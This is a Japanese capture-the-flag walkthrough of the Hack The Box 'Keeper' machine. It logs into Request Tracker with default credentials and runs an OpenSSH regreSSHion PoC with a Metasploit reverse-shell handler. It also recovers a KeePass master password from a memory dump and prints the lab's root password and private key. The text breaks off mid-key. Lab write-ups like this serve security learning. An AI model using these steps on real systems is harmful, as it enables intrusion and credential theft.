0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HTB Keeper Writeup ちょーこまかく

0
Last updated at Posted at 2026-05-01

はじめに

Hack The Box KeeperのWriteupです。
フラグを奪取する方法というより、その過程に視点をおいて細かく書いています。
記事を書いている途中でHTBのTarget IPが3回変わっちゃいました。怠惰です。
一応一意になるようIPを置換してますが、忘れあるかもしれない・・・

Recon

Portscan

tcpのポートスキャンをする。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:54:50am
/home/kali> sudo nmap -T4 -p- 10.129.229.41 -Pn

[sudo] password for kali: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:54 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 128.29 seconds

22/tcp(ssh)と80/tcp(http)を検出した。

上記で検出したtcpポートに対してサービススキャンをする。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:54:44am
/home/kali> sudo nmap -sC -sV -p22,80 10.129.229.41 -Pn

Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:55 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds

それぞれ下記バージョンのサービスを検出した。

ポート サービス バージョン
22/tcp ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp http nginx 1.18.0

udpのポートスキャンをする。特出した検出は無し。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:55:20am
/home/kali> sudo nmap -sU --top-ports=20 10.129.229.41 

Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:56 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

ssh

sshのバージョンを確認する。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:59:17am
/home/kali> telnet 10.129.229.41 22
Trying 10.129.229.41...
Connected to 10.129.229.41.
Escape character is '^]'.
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3

ポートスキャン結果と同様にSSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3を検出した。
脆弱性情報を検索する。以下重要そうなものをピックアップ。

CVE番号 危険度 概要
CVE-2024-6387 重大 regreSSHion sshdの競合状態を突いた認証前RCE
CVE-2023-38408 ssh-agentの機能を悪用してローカルでRCE
CVE-2021-41617 sshdの権限分離不備によるローカル権限昇格

sshでとりあえずログインを試行する。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 02:26:37am
/home/kali> ssh root@10.129.229.41
root@10.129.229.41's password: 
Permission denied, please try again.
root@10.129.229.41's password: 
Permission denied, please try again.
root@10.129.229.41's password: 
root@10.129.229.41: Permission denied (publickey,password).

http

とりあえずcurlする。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 02:27:05am
/home/kali> curl -vk http://10.129.229.41                        
*   Trying 10.129.229.41:80...
* Established connection to 10.129.229.41 (10.129.229.41 port 80) from 10.10.15.193 port 46022 
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.229.41
> User-Agent: curl/8.19.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:25:28 GMT
< Content-Type: text/html
< Content-Length: 149
< Last-Modified: Wed, 24 May 2023 14:04:44 GMT
< Connection: keep-alive
< ETag: "646e197c-95"
< Accept-Ranges: bytes
< 
<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>
* Connection #0 to host 10.129.229.41:80 left intact

レスポンスヘッダにバージョン情報nginx/1.18.0 (Ubuntu)を発見した。
脆弱性情報を検索してみたが、危険度が高く、攻撃にすぐつながるような脆弱性はなさそう。

http://tickets.keeper.htb/rt/へのリンクが記載されているため、ドメインをhostsファイルに追記する。

/etc/hosts
#keeper
10.129.229.41   tickets.keeper.htb

http://tickets.keeper.htb/rt/をブラウザで確認してみる。

image.png

バージョン情報RT 4.4.4+dfsg-2ubuntu1 (Debian)を発見した。
脆弱性情報を検索したが、侵入に直接つながるものは無い。

CVE番号 危険度 概要
CVE-2020-11025 権限チェック不備による情報漏洩 / 権限回避
CVE-2021-38562 XSS
CVE-2022-31052 入力処理不備による情報漏洩 / 挙動異常

ログインページがあるため、デフォルトユーザとパスワードを検索。
このサイトによるとデフォルトユーザはrootでパスワードはpasswordとのことだったため、それらの認証情報を使用してログイン試行する。

デフォルトのユーザとパスワードを使ってログイン試行するとログインに成功した。

image.png

ユーザ一覧を発見した。

image.png

rootユーザページを確認。
image.png

lnorgaardユーザページを確認した。

image.png

パスワードの記載あり。

New user. Initial password set to Welcome2023!

ディレクトリ探査をする。検出したパスにhttpアクセスしても特に情報は無し。

█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 06:42:03am
/home/kali> ffuf -c -u "http://tickets.keeper.htb/FUZZ" -w /home/kali/SecLists/Discovery/Web-Content/raft-large-directories.txt -fc 404,302


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://tickets.keeper.htb/FUZZ
 :: Wordlist         : FUZZ: /home/kali/SecLists/Discovery/Web-Content/raft-large-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404,302
________________________________________________

m                       [Status: 200, Size: 2309, Words: 247, Lines: 112, Duration: 1028ms]
l                       [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 1049ms]
rte                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 677ms]
rt                      [Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 678ms]
rtl                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 616ms]
rte-snippets            [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 589ms]
autohandler             [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 720ms]
rtv                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 669ms]
rtf                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 683ms]
rtm                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 604ms]
rti                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 660ms]
rtr                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 652ms]
rtb                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 675ms]
rtc                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 660ms]
rtq                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 649ms]
rts                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 638ms]
rt3                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 674ms]
rta                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 667ms]
rtds                    [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 663ms]
rteeditor               [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 655ms]
rtest                   [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 651ms]
rtg                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 611ms]
rtl2                    [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 615ms]
rttc                    [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 612ms]
rtw                     [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 604ms]
:: Progress: [62281/62281] :: Job [1/1] :: 78 req/sec :: Duration: [0:16:58] :: Errors: 0 ::

Exploit

CVE-2024-6387を利用

まずsshの脆弱性CVE-2024-6387で侵入を試みる。sshのバージョンSSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3には、この脆弱性が存在しない場合が多く、結論から言うとこの方法は間違いだった。また、脆弱性が存在していてもレースコンディションのため再現が難しい。

PoCをダウンロードする。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:40am
/home/kali/Desktop/Keeper> git clone https://github.com/Karmakstylez/CVE-2024-6387.git
Cloning into 'CVE-2024-6387'...
remote: Enumerating objects: 31, done.
remote: Counting objects: 100% (31/31), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 31 (delta 12), reused 20 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (31/31), 32.08 KiB | 10.69 MiB/s, done.
Resolving deltas: 100% (12/12), done.

移動してターゲットが脆弱なバージョンであるかスキャン。Total vulnerable hosts: 1とあるとおり、この脆弱性に対して脆弱なバージョンであることがわかる。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:47am
/home/kali/Desktop/Keeper> cd CVE-2024-6387 
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:51am
/home/kali/Desktop/Keeper/CVE-2024-6387> python3 CVE-2024-6387.py scan -T 10.129.229.41 -p 22

                                                     
   .aMMMb  dMMMMb  dMMMMMP dMMMMb  .dMMMb  .dMMMb  dMP dMP                                                                                                                                                                                   
  dMP"dMP dMP.dMP dMP     dMP dMP dMP" VP dMP" VP dMP dMP                                                                                                                                                                                    
 dMP dMP dMMMMP" dMMMP   dMP dMP  VMMMb   VMMMb  dMMMMMP                                                                                                                                                                                     
dMP.aMP dMP     dMP     dMP dMP dP .dMP dP .dMP dMP dMP                                                                                                                                                                                      
VMMMP" dMP     dMMMMMP dMP dMP  VMMMP"  VMMMP" dMP dMP                                                                                                                                                                                       
                                                                                                                                                                                                                                             
   ReggreSSHion CVE-2024-6387 Vulnerability Checker / Exploiter                                                                                                                                                                              
   2.0 - Optimized by @Kz                                                                                                                                                                                                                    
                                                                                                                                                                                                                                             

🚨Servers likely vulnerable: 1
   [+] Server at 10.129.229.41 (N/A):22 (running SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3)

🛡 Servers not vulnerable: 0

🛡 Servers likely not vulnerable (possible LoginGraceTime remediation): 0

⚠ Servers with unknown SSH version: 0

Summary:

📊 Total scanned hosts: 1

🚨 Total vulnerable hosts: 1

🛡  Total not vulnerable hosts: 0

🛡  Total likely not vulnerable hosts: 0

⚠  Total unknown hosts: 0

🔒 Servers with port 22 closed: 0

PoCを実行。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:59:04am
/home/kali/Desktop/Keeper/CVE-2024-6387> python3 CVE-2024-6387.py exploit -T 10.129.229.41 -p 22 -n tun0

待ち受けて数分放置したが、当然失敗する。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:59:15am
/home/kali/Desktop/Keeper/CVE-2024-6387> msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.10.15.193; set LPORT 9999; exploit -j"

/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
LHOST => 10.10.15.193
LPORT => 9999
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.15.193:9999 
msf exploit(multi/handler) > 

Reconで奪取した認証情報を利用

ここで奪取したlnorgaardユーザのパスワードWelcome2023!を使用してsshする。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:11:31am
/home/kali/Desktop/Keeper/CVE-2024-6387> ssh lnorgaard@10.129.229.41                    
lnorgaard@10.129.229.41's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ 

lnorgaardユーザでログイン成功。ユーザフラグを取得。

lnorgaard@keeper:~$ ls
RT30000.zip  user.txt
lnorgaard@keeper:~$ cat user.txt

Enumeration

侵入後とりあえず実行する基本コマンド

ログインユーザの権限を確認。

lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)

tcpの待ち受けポートを確認。
ローカルで3306/tcp(MySQL)と9000/tcpが動いている。

lnorgaard@keeper:~$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -              

OSのバージョンを確認。

lnorgaard@keeper:~$ cat /etc/os-release 
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

sudoのリストとバージョンを確認。

lnorgaard@keeper:~$ sudo -l
[sudo] password for lnorgaard: 
Sorry, user lnorgaard may not run sudo on keeper.
lnorgaard@keeper:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

ログイン可能なユーザを確認。

lnorgaard@keeper:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
lnorgaard:x:1000:1000:lnorgaard,,,:/home/lnorgaard:/bin/bash

suidが付与されたファイルを確認。

lnorgaard@keeper:~$ find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

侵入したlnorgaardユーザのホームディレクトリに怪しい「RT30000.zip」があるので展開し、fileコマンドでファイルを解析する。

lnorgaard@keeper:~$ ls -la
total 85384
drwxr-xr-x 4 lnorgaard lnorgaard     4096 Jul 25  2023 .
drwxr-xr-x 3 root      root          4096 May 24  2023 ..
lrwxrwxrwx 1 root      root             9 May 24  2023 .bash_history -> /dev/null
-rw-r--r-- 1 lnorgaard lnorgaard      220 May 23  2023 .bash_logout
-rw-r--r-- 1 lnorgaard lnorgaard     3771 May 23  2023 .bashrc
drwx------ 2 lnorgaard lnorgaard     4096 May 24  2023 .cache
-rw------- 1 lnorgaard lnorgaard      807 May 23  2023 .profile
-rw-r--r-- 1 root      root      87391651 May  1 10:18 RT30000.zip
drwx------ 2 lnorgaard lnorgaard     4096 Jul 24  2023 .ssh
-rw-r----- 1 root      lnorgaard       33 May  1 08:27 user.txt
-rw-r--r-- 1 root      root            39 Jul 20  2023 .vimrc
lnorgaard@keeper:~$ unzip RT30000.zip 
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx 
lnorgaard@keeper:~$ file KeePassDumpFull.dmp 
KeePassDumpFull.dmp: Mini DuMP crash report, 16 streams, Fri May 19 13:46:21 2023, 0x1806 type
lnorgaard@keeper:~$ file passcodes.kdbx 
passcodes.kdbx: Keepass password database 2.x KDBX

.dmpファイルか...フォレンジック面倒だなぁ...
.kdbxはkeepassというパスワードマネージャの暗号化ファイルのようだ。

そういえばlnorgaardユーザでログイン時、メールを受信したと通知があったため確認。

bash
lnorgaard@keeper:~$ cat /var/mail/lnorgaard 
From www-data@keeper.htb  Wed May 24 12:37:18 2023
Return-Path: <www-data@keeper.htb>
X-Original-To: lnorgaard@keeper.htb
Delivered-To: lnorgaard@keeper.htb
Received: by keeper.htb (Postfix, from userid 33)
        id 64BEF61083; Wed, 24 May 2023 12:37:18 +0200 (CEST)
From: "Enoch Root" <rt@keeper.htb>
In-Reply-To:
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-2"
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
X-RT-Loop-Prevention: tickets.keeper.htb
Subject: [tickets.keeper.htb #300000] Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <RT-Ticket-300000@keeper.htb>
Reply-To: rt@keeper.htb
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <rt-4.4.4+dfsg-2ubuntu1-1803-1684924638-1810.300000-8-0@keeper.htb>
To: lnorgaard@keeper.htb
Precedence: bulk
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

This is a multi-part message in MIME format...

------------=_1684924638-1803-2
RT-Attach-Message: yes
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8

Wed May 24 12:37:18 2023: Request 300000 was acted upon by root.

Transaction: Ticket created by root
      Queue: General
    Subject: Issue with Keepass Client on Windows
      Owner: lnorgaard
 Requestors: webmaster@keeper.htb
     Status: new
 Ticket URL: http://keeper.htb/rt/Ticket/Display.html?id=300000



Lise,

Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?

Thanks! 

------------=_1684924638-1803-2
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8

<b>Wed May 24 12:37:18 2023: Request <a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">300000</a> was acted upon by root.</b>
<br>
<table border="0">
<tr><td align="right"><b>Transaction:</b></td><td>Ticket created by root</td></tr>
<tr><td align="right"><b>Queue:</b></td><td>General</td></tr>
<tr><td align="right"><b>Subject:</b></td><td>Issue with Keepass Client on Windows </td></tr>
<tr><td align="right"><b>Owner:</b></td><td>lnorgaard</td></tr>
<tr><td align="right"><b>Requestors:</b></td><td>webmaster@keeper.htb</td></tr>
<tr><td align="right"><b>Status:</b></td><td>new</td></tr>
<tr><td align="right"><b>Ticket URL:</b></td><td><a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">http://keeper.htb/rt/Ticket/Display.html?id=300000</a></td></tr>
</table>
<br/>
<br/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks! 

------------=_1684924638-1803-2--

rootユーザがRequest Trackerにチケットを発行し、keepassのクラッシュダンプを添付したようだ。そのチケットの担当者がlnorgaardユーザとのこと。
rootが発行したチケットはhttp://keeper.htb/rt/Ticket/Display.html?id=300000
ほかにもww-data,rt,webmasterユーザが存在していることが分かった。

KeePassDumpFull.dmpとpasscodes.kdbxを解析

KeePassDumpFull.dmpとpasscodes.kdbxを深堀していく。
lnorgaardユーザでsshしているが、kaliのほうがいろいろ融通が利くので移動し展開。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:51:59am
/home/kali/Desktop/Keeper> scp lnorgaard@10.129.229.41:/home/lnorgaard/RT30000.zip .
lnorgaard@10.129.229.41's password: 
RT30000.zip           
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:55:28am
/home/kali/Desktop/Keeper> unzip RT30000.zip     
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx   

keepass2johnでパスワードクラックしてみる。
これも結論から言うと間違いです。フォレンジックしたくないなぁという甘えで、楽になりたかったんです。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:29am
/home/kali/Desktop/Keeper> keepass2john passcodes.kdbx > hash.txt
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:30am
/home/kali/Desktop/Keeper> cat hash.txt 
passcodes:$keepass$*2*60000*0*5d7b4747e5a278d572fb0a66fe187ae5d74a0e2f56a2aaaf4c4f2b8ca342597d*5b7ec1cf6889266a388abe398d7990a294bf2a581156f7a7452b4074479bdea7*08500fa5a52622ab89b0addfedd5a05c*411593ef0846fc1bb3db4f9bab515b42e58ade0c25096d15f090b0fe10161125*a4842b416f14723513c5fb704a2f49024a70818e786f07e68e82a6d3d7cdbcdc
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:56am
/home/kali/Desktop/Keeper> john hash.txt   

現実逃避から戻り、KeePassDumpFull.dmpとにらめっこする。
keepassのバージョンを検索。

image.png

どうやら、バージョン2.54.1.20815を使用しているようだ。

KeePassバージョン2.54.1.20815に脆弱性がないか検索。
cve-2023-32784を発見。KeeePassのマスターパスワードの残骸がメモリダンプに残るといった脆弱性。PoCも公開されている。

PoCをダウンロードして実行。

/home/kali/Desktop/Keeper> git clone https://github.com/z-jxy/keepass_dump.git                  
Cloning into 'keepass_dump'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 10 (delta 0), reused 10 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 280.26 KiB | 15.57 MiB/s, done.
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:31:54am
/home/kali/Desktop/Keeper> cd keepass_dump 
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:32:00am
/home/kali/Desktop/Keeper/keepass_dump> python3 keepass_dump.py --recover -f ../KeePassDumpFull.dmp    
[*] Searching for masterkey characters
[-] Couldn't find jump points in file. Scanning with slower method.
[*] 0:  {UNKNOWN}
[*] 2:  d
[*] 3:  g
[*] 4:  r
[*] 6:  d
[*] 7:   
[*] 8:  m
[*] 9:  e
[*] 10: d
[*] 11:  
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgrd med flde
[?] Recovering...
[-] Couldn't verify plaintext match in dump for: dgrd med flde

先ほど記述したとおり、この脆弱性はマスターパスワードの全文が漏洩するものではない。

Extracted: {UNKNOWN}dgrd med flde

とあるように、最初の一文字が不明となっている。

dgrd med fldeを検索してみる。writeupが出てくるので続きはそちらを見てください。
デンマークのお菓子にrødgrød med flødeなるものがあるらしい。

image.png

ちなみにRequest Trackerのlnorgaardユーザページに記載があるが、lnorgaardユーザの本名がLise Nørgaardでこれは実在するデンマークのジャーナリストの名前だった。また、Extra infoに記載があるHelpdesk Agent from KorsbækのKorsbækはデンマークの物語の架空の都市らしい。デンマーク人ならこのお菓子をパスワードに設定してもおかしくないよね。お菓子だけに。

kpcliを使用してkeepass.kdbxを確認する。パスワードは上記で見つけたrødgrød med flødeを入力する。

/home/kali/Desktop/Keeper> kpcli -kdb passcodes.kdbx
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> 

入れましたね。
db内を確認するとなんとrootユーザのパスワードやらsshの鍵セットが入っているじゃないですか。

pcli:/> ls
=== Groups ===
passcodes/
kpcli:/> cd passcodes/
kpcli:/passcodes> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
kpcli:/passcodes> cd Network/
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)                                          
1. Ticketing System                 
kpcli:/passcodes/Network> show 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
  URL: 
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
       EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
       Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
       FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
       LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
       Private-Lines: 14
       AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
       oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
       kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
       f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
       VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
       UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
       OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
       in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
       SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
       09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
       xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
       AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
       AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
       NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

Privilege Escalation

奪取したパスワードを使用してrootユーザへログイン

先ほど奪取したパスワードF4><3K0nd!を使用してrootユーザへログインをしてみる。結論から言うとこれは間違い。

lnorgaard@keeper:~$ su -
Password: 
su: Authentication failure
lnorgaard@keeper:~$ exit
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:02:35am
/home/kali/Desktop/Keeper/CVE-2024-6387> ssh root@10.129.229.41
root@10.129.229.41's password: 
Permission denied, please try again.

ログインできない。

奪取した鍵セットを使用してrootユーザへログイン

奪取した鍵セットをkeeper.ppkとして保存する。改行を乱すといかんですよ。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:10:41am
/home/kali/Desktop/Keeper> cat keeper.ppk                                             
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
